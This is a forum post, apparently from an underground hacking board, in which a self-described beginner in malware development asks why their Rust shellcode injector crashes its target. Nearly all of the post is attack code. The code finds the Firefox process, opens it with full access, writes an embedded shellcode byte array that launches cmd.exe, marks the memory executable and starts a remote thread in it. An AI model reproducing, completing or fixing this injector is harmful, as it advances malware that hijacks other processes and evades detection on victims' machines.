need help with shellcode injection code

Krematorij

Administrator
Staff member
ADMIN
BFD MEMBER
LEGEND
ULTIMATE
SUPREME
BFD Legacy
MEMBER+
Joined
Oct 21, 2024
Messages
1,126
Reaction score
19,535
Website
bfdcrew.pro
Deposit
1,002$
i've only started to get into malware development and i want to start with injecting shellcode into a process
my issue is that the target process crashes and the shellcode didn't run (spawning a calculator)

i'm using rust
the crates that i'm using are ntapi, winapi, and widestring

i've confirmed that the shellcode is successfully written onto the process:
1711293408500.png



any idea on what's wrong?

below is the code
Code:
Code:
use std::{fs, mem};

use ntapi::{ntapi_base::CLIENT_ID, ntexapi::{NtQuerySystemInformation, SYSTEM_INFORMATION_CLASS, SYSTEM_PROCESS_INFORMATION}, ntmmapi::{NtAllocateVirtualMemory, NtProtectVirtualMemory, NtReadVirtualMemory, NtWriteVirtualMemory}, ntobapi::{NtClose, NtWaitForSingleObject}, ntpsapi::{NtCreateThreadEx, NtOpenProcess}};
use winapi::{ctypes, shared::{minwindef::{FALSE, PULONG}, ntdef::{HANDLE, NTSTATUS, NULL, OBJECT_ATTRIBUTES, ULONG}, ntstatus::{STATUS_ALERTED, STATUS_SUCCESS, STATUS_TIMEOUT}}, um::{handleapi::INVALID_HANDLE_VALUE, winnt::{GENERIC_ALL, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PHANDLE, PROCESS_ALL_ACCESS, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, STANDARD_RIGHTS_ALL, THREAD_ALL_ACCESS}}};
use widestring::{U16CString, U16String};

const SYSTEM_INFORMATION_CLASS_LENGTH: usize = 0x150; //336 in decimal
const TARGET_PROCESS_NAME: &'static str = "firefox";

fn main() {
    let mut shell:[u8;168] = [ 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x40,0x1c,0x8b,0x04,0x08,0x8b,0x04,0x08,
                            0x8b,0x58,0x08,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,
                            0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,
                            0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x49,0x8b,0x72,0x24,0x01,0xde,
                            0x66,0x8b,0x0c,0x4e,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x89,0xd6,0x31,0xc9,
                            0x51,0x68,0x45,0x78,0x65,0x63,0x68,0x41,0x57,0x69,0x6e,0x89,0xe1,0x8d,0x49,0x01,0x51,0x53,
                            0xff,0xd6,0x87,0xfa,0x89,0xc7,0x31,0xc9,0x51,0x68,0x72,0x65,0x61,0x64,0x68,0x69,0x74,0x54,
                            0x68,0x68,0x41,0x41,0x45,0x78,0x89,0xe1,0x8d,0x49,0x02,0x51,0x53,0xff,0xd6,0x89,0xc6,0x31,
                            0xc9,0x51,0x68,0x65,0x78,0x65,0x20,0x68,0x63,0x6d,0x64,0x2e,0x89,0xe1,0x6a,0x01,0x51,0xff,
                            0xd7,0x31,0xc9,0x51,0xff,0xd6 ];
    // let mut shell = fs::read("open-calc-shell.exe").expect("FAILED TO FIND SHELL");
    println!("SHELL SIZE: {}", shell.len());

    let mut buffer_len: u32 = 0;
    let system_info_class: SYSTEM_INFORMATION_CLASS = 5;
    let mut sys_proc_info_buf = vec![0u8; 1024*1024];
    let nt_status: NTSTATUS = unsafe {
        NtQuerySystemInformation(
            system_info_class,
            sys_proc_info_buf.as_mut_ptr().cast(),
            1024*1024,
            &mut buffer_len
        )
    };
    if nt_status != 0 { panic!("FAILED TO GET BUFFER LENGTH: {:#08x}", nt_status) }
    println!("BUFFER LENGTH: {buffer_len}");

    let mut sys_proc_info: SYSTEM_PROCESS_INFORMATION = unsafe {
        let mut tmp_buf = [0u8; SYSTEM_INFORMATION_CLASS_LENGTH];
        tmp_buf.copy_from_slice(&sys_proc_info_buf[0..SYSTEM_INFORMATION_CLASS_LENGTH]);
        mem::transmute_copy(&tmp_buf)
    };
    println!("NEXT ENTRY OFFSET OF 1ST ELEMENT: {}", sys_proc_info.NextEntryOffset);
    // let std::slice::from_ref(&sys_proc_info_buf[0..SYSTEM_INFORMATION_CLASS_LENGTH]);

    let mut offset = 0;
    let mut tmp_buf = [0u8; SYSTEM_INFORMATION_CLASS_LENGTH];
    loop {

        tmp_buf.copy_from_slice(&sys_proc_info_buf[offset..offset+SYSTEM_INFORMATION_CLASS_LENGTH]);
        sys_proc_info = unsafe { mem::transmute_copy(&tmp_buf) };

        // let name_vec: Vec<u8> = sy
        
        let raw_name_str = unsafe {
            U16String::from_ptr(sys_proc_info.ImageName.Buffer, (sys_proc_info.ImageName.Length / 2) as usize)
        };
        let Ok(name) = raw_name_str.to_string() else {
            offset += sys_proc_info.NextEntryOffset as usize;
            continue;
        };
        // println!("NAME {}", &name);
        if name.to_lowercase().contains(TARGET_PROCESS_NAME) { break; }
        offset += sys_proc_info.NextEntryOffset as usize;

        if sys_proc_info.NextEntryOffset == 0 { panic!("UNABLE TO FIND TARGET") }
    }
    

    let mut proc_handle: HANDLE = NULL;
    let mut client_id = CLIENT_ID {
        UniqueProcess: sys_proc_info.UniqueProcessId,
        UniqueThread: NULL,
    };
    let mut oa: OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES::default();
    oa.Length = mem::size_of_val(&oa) as u32;
    let nt_status = unsafe {
        NtOpenProcess(
            &mut proc_handle,
            PROCESS_ALL_ACCESS,
            &mut oa,
            // &mut client_id
            &mut sys_proc_info.Threads[0].ClientId
        )
    };
    if nt_status != 0 { panic!("FAILED TO OPEN PROCESS: {:#08x}", nt_status) }
    println!("PROC HANDLE {:#?}", proc_handle);

    let mut base_addr = NULL;
    let mut shell_len = shell.len();
    let nt_status = unsafe {
        NtAllocateVirtualMemory(
            proc_handle,
            &mut base_addr,
            0,
            &mut shell_len,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        )
    };
    if nt_status != 0 { panic!("FAILED TO ALLOCATE MEM: {:#08x}", nt_status) }
    println!("BASE ADDRESS: {:#?}", base_addr);

    let mut written_bytes = 0usize;
    let nt_status = unsafe {
        NtWriteVirtualMemory(
            proc_handle,
            base_addr,
            shell.as_mut_ptr().cast(),
            shell_len,
            &mut written_bytes
        )
    };
    if nt_status != 0 { panic!("FAILED TO ALLOCATE MEM: {:#08x}", nt_status) }
    println!("WRITTEN BYTE COUNT: {:#?}", written_bytes);

    // let mut read_bytes = 0;
    // let nt_status = unsafe {
    //     NtReadVirtualMemory(
    //         proc_handle,
    //         base_addr,
    //         shell_tmp.as_mut_ptr().cast(),
    //         shell_tmp.len(),
    //         &mut read_bytes
    //     )
    // };
    // if nt_status != 0 { panic!("FAILED TO READ: {:#08x}", nt_status) }
    // println!("READ BYTE COUNT: {:#?}", read_bytes);
    // println!("SHELL BUFFER: {:#?}", shell_tmp);

    let mut old_protect = 0;
    let nt_status = unsafe {
        NtProtectVirtualMemory(
            proc_handle,
            &mut base_addr,
            &mut shell_len,
            PAGE_EXECUTE_READWRITE,
            &mut old_protect
        )
    };
    if nt_status != 0 { panic!("FAILED TO CHANGE PROTECTION: {:#08x}", nt_status) }

    let mut thread_handle = INVALID_HANDLE_VALUE;
    let nt_status = unsafe {
        NtCreateThreadEx(
            &mut thread_handle,
            THREAD_ALL_ACCESS,
            NULL.cast(),
            proc_handle,
            base_addr,
            NULL,
            0,
            0,
            0,
            0,
            NULL.cast()
        )
    };
    if nt_status != 0 { panic!("FAILED TO START THREAD: {:#08x}", nt_status) }
    println!("THREAD HANDLE: {:#?}", thread_handle);

    unsafe { NtClose(proc_handle) };
    // unsafe { NtClose(thread_handle) };

    unsafe {
        loop {
            
            let wait_status = NtWaitForSingleObject(thread_handle, 0, NULL.cast());
            if wait_status == STATUS_SUCCESS {
                println!("SUCCESS");
                break;
            } else if wait_status == STATUS_TIMEOUT {
                panic!("TIME OUT");
            } else if wait_status == STATUS_ALERTED {
                panic!("BUH?");
            }
        }
    }

}
 
Top Bottom